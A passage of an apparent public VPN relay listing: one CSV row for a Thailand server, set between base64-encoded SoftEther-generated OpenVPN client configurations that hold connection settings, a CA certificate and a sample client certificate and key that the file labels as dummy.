a3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn883492901,184.22.59.218,698150,9,232181643,Thailand,TH,18,67844195,110958,31356661892019,2weeks,DESKTOP-N4T0ROG's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxODQuMjIuNTkuMjE4IDE1MjUNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwc